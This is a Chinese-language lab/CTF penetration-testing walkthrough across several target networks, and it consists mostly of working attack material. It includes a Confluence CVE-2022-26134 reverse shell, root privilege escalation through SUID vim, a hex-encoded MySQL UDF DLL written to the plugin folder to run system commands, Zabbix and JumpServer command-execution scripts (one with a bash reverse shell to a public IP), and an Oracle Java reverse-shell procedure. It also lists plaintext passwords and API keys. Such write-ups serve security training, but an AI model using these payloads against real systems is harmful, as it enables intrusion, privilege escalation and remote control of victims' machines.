场景二
- 192.168.0.12 //入口机
- 192.168.0.55 //mysql数据服务器 2W2mg^v6B6UJNR@Svs
- 192.168.0.33
- 192.168.0.33:6379 open192.168.0.33:22 open
大致攻击流程
CVE-2022-26134 反弹shell，上去搜suid，然后发现vim可用，直接加个root用户，然后把原本的root密码改了ssh上去 python -c 'import pty; pty.spawn("/bin/bash")'
代码语言：javascript复制test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash
password@123/root下有mysql密码 2W2mg^v6B6UJNR@Svs
代码语言：javascript复制/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释
* SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763d4ed046217d41e5e3f1903241aedbacf2c5007390f2a07801abbdc6e8367165b16743711640c340b7bd85b770442130c390c01118350118b9b6df705530133871c03e4001d5d90ed60430e057b743f09baeeb0d80401072f67079403a06077dbc10701462f462b1074092f0db6d94e3416033b01000715bb0bb6bd971574062f64f7df21000884ddb640ae043439741f00bf20eeecedb6140629034c341f0ba903e1c2debe240f05c305340a13234bd36d9b6e23431e14c45f0f470a75b713760554094b01098909a2071e7de572bb1f1e742f12640d34870142b71582bb2e1311cf0c03ca96dd0e01380f387427005124a3aafec10246ddcd5d20d266d4ff555516c900178fa02a1b003011764bd56c039180bfa007e0126dd79ddd03703407f803680b0013026a76fbba8603540b14021814170b581590fb2f07d9eeecf60a150310340727030034075bd5b9dd7003e0336f0724b3cc755dd7750b30074203ac0b9007f5b61b94db03c03233920c1903c8ba05a0eb0b10074f8be80b508375afeb077303444707990ba0b65dd77507e503280bf0073a1c033c0038b7eb0b5007f71ca70b77b63bdb8b191d2f2007381dcb40071dac7b5d83036c8307d30b601e9ded5eb3039b7c5f07c11e3be0d0ae3bdb07031f3b1007d6039c33ca1255954a005525a3aaa8aa9251645455c9d09ba0887c0402c4ff16360157616974466f7253ac7f2b40fc6c654f626abd14566972747561f63703c46c419a0d536574456e76126dbf01e26f6ee45661726961622b41eb2e40bc18437265b8546806640df65bf76d47264375727222502a636573734914e283cd1226135469636bb6fd6e03026e6b517565727950036684dedbb1f66d616e3716657218446973676fdbdbcf374c6962727879436192731a52746c633bb76d0970a2722d2c7874124cbdb5adfd6f6f6b7570463ec26916b2747279dfb5078b17cd556e77e47e4973446562736f6bed75676763a7a56583e11dfeb6b77268616e64457883704046696ca56c85c58719f19319dab61254176d65151153daf6586b39352b537973176dfa81e87517454173426509a3dbfe434388a0895f616d73675fcc6990b3850bbf5f5f435f73708b6966285f7e267cdb766f5f64116f035f706f6922430b76db2663da5f64ce280009626b31142d325f7a13c417840b5f7b50705b6c735f330a6c212205db5accd82a58096e73ed6bc982130fd76d643ed6bad6de756c343f15416d170cdea3e0020ab52689a3b565c933a196063bc16db15b0772652508661115080d5ba1739c29709f73149bb5adb93932ae6e074d0f85d7badbc56f736a663a70105e3b84ed70705831747b6d343fdf15f4c700f08c21180800e264860600a76efb0fe327a15ae6f00022200b020808120cb07744b314132e0010000005cf1e6c9b02020433050002088000c302f663146d160100022e063af76c650f0a50394330908de8db88223c1460e2d880d4bd0118020183703aacbb024b00303a011e4644a42b2e1054822d3bd810901200dc00b3dbc63b6f602e7264a76108550b53597761dd000c03162740022e26291b61f600d805100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048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INTO DUMPFILE 'C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll';
*/
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('net user administrator 123456aA.');靶场三
- 192.168.33.55 (redis写计划任务) 已经拿flag
- 192.168.33.127
192.168.33.127:22 open
192.168.33.127:111 open
192.168.33.127:80 open
192.168.33.127:3306 open- 192.168.33.149
192.168.33.149:22 open
192.168.33.149:80 open
192.168.33.149:53 open
192.168.33.149:2222 opencurl http://192.168.33.127 -u Admin -p bQqYfe5eqN2CttsV
http://192.168.33.127/zabbix使用上面的账号密码登录
【后利用】| zabbix攻击思路总结 | CTF导航 (ctfiot.com)
代码语言：javascript复制timeout 1 cat /root/flag按照这个思路即可成功在该机器执行命令获取到第二个flag
按照下面链接中的方法成功rce，低权限
Zabbix与Jumpserver后渗透小记 - 墨天轮 (modb.pro)
代码语言：javascript复制# Python 示例
# pip install requests drf-httpsig
import datetime
import requests
from httpsig.requests_auth import HTTPSignatureAuth
def get_auth(KeyID, SecretID):
signature_headers = ['(request-target)', 'accept', 'date']
auth = HTTPSignatureAuth(key_id=KeyID, secret=SecretID, algorithm='hmac-sha256', headers=signature_headers)
return auth
def get_user_info(jms_url, auth):
url = jms_url '/api/v1/users/users/'
gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
headers = {
'Accept': 'application/json',
'X-JMS-ORG': '00000000-0000-0000-0000-000000000002',
'Date': datetime.datetime.utcnow().strftime(gmt_form)
}
response = requests.get(url, auth=auth, headers=headers)
print(response.text)
def post_ops_command_executions(jms_url, auth):
url = jms_url '/api/v1/ops/command-executions/'
gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
headers = {
'Accept': 'application/json',
'X-JMS-ORG': '00000000-0000-0000-0000-000000000002',
'Date': datetime.datetime.utcnow().strftime(gmt_form)
}
data = {"hosts": ["c54bd22f-479e-4ce9-aa55-57fd0f63dafa"], "run_as": "1561a709-28f2-448b-9932-cd7469708be6",
"command": "whoami"}
# data = {"hosts":["c54bd22f-479e-4ce9-aa55-57fd0f63dafa"],"run_as":"1561a709-28f2-448b-9932-cd7469708be6","command":"bash -c 'bash -i >& /dev/tcp/47.242.253.194/8899 0>&1'"}
response = requests.post(url, auth=auth, headers=headers, data=data)
print(response.text)
def get_task_log(jms_url, auth):
url = jms_url '/api/v1/ops/celery/task/c2d128a6-3dbc-433a-bee2-6b93f4d99134/log/'
gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
headers = {
'Accept': 'application/json',
'X-JMS-ORG': '00000000-0000-0000-0000-000000000002',
'Date': datetime.datetime.utcnow().strftime(gmt_form)
}
response = requests.get(url, auth=auth, headers=headers)
print(response.text)
def get_assets_assets(jms_url, auth):
url = jms_url '/api/v1/assets/assets/?offset=0&limit=15&display=1&draw=1'
gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
headers = {
'Accept': 'application/json',
'X-JMS-ORG': '00000000-0000-0000-0000-000000000002',
'Date': datetime.datetime.utcnow().strftime(gmt_form)
}
response = requests.get(url, auth=auth, headers=headers)
print(response.text)
if __name__ == '__main__':
jms_url = 'http://192.168.33.149'
KeyID = '81d0fc05-ad7c-4158-b676-51b13ff93a22'
SecretID = '4341ddfd-a3c2-4153-a76e-c122e67fd89a'
auth = get_auth(KeyID, SecretID)
post_ops_command_executions(jms_url, auth)
# get_assets_assets(jms_url, auth)在这台机的计划任务中使用高权限执行一个文件，修改反弹shell即可成功提权
靶场四
192.168.33.39 //入口机，已经拿到flag 192.168.33.172 //oracle数据库，已经拿到flag 192.168.33.170 //dbserver
代码语言：javascript复制192.168.33.170:139 open
192.168.33.170:135 open
192.168.33.170:445 open
192.168.33.170:2383 open
192.168.33.170:3389 open192.168.33.5 //DC域控
代码语言：javascript复制192.168.33.5:445 open
192.168.33.5:464 open
192.168.33.5:593 open
192.168.33.5:139 open
192.168.33.5:135 open
192.168.33.5:636 open
192.168.33.5:389 open
192.168.33.5:88 open
192.168.33.5:53 open
192.168.33.5:3268 open
192.168.33.5:3269 open
192.168.33.5:3389 open
[*] alive ports len is: 12
start vulscan
[*] 192.168.33.5 [ ]DC FOURAD4
[ ] NetInfo:
[*]192.168.33.5
[->]AD4
[->]192.168.33.5大致步骤
solr命令执行，cat /flag获得第一个flag，在root的bash命令历史文件下发现位于192.168.33.172的 oracle数据库账号密码，登录上去反弹shell，拿到位于administrator的flag oracle执行cmd的实现方法 - Bypass - 博客园 (cnblogs.com) 用文章里面的第三种方法，然后使用如下java代码替换文章中1.sql里面的java代码反弹shell
代码语言：javascript复制create or replace and compile
java souRCe named "util"
as
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class util extends Object
{
public static int RunThis(String host) throws Exception {
int port=6666;
String cmd="C:\Windows\System32\cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
return 1;
}
}其他步骤和文章保持一致，然后
代码语言：javascript复制exec :x:=run_cmd('192.168.33.39');反弹到跳板机即可
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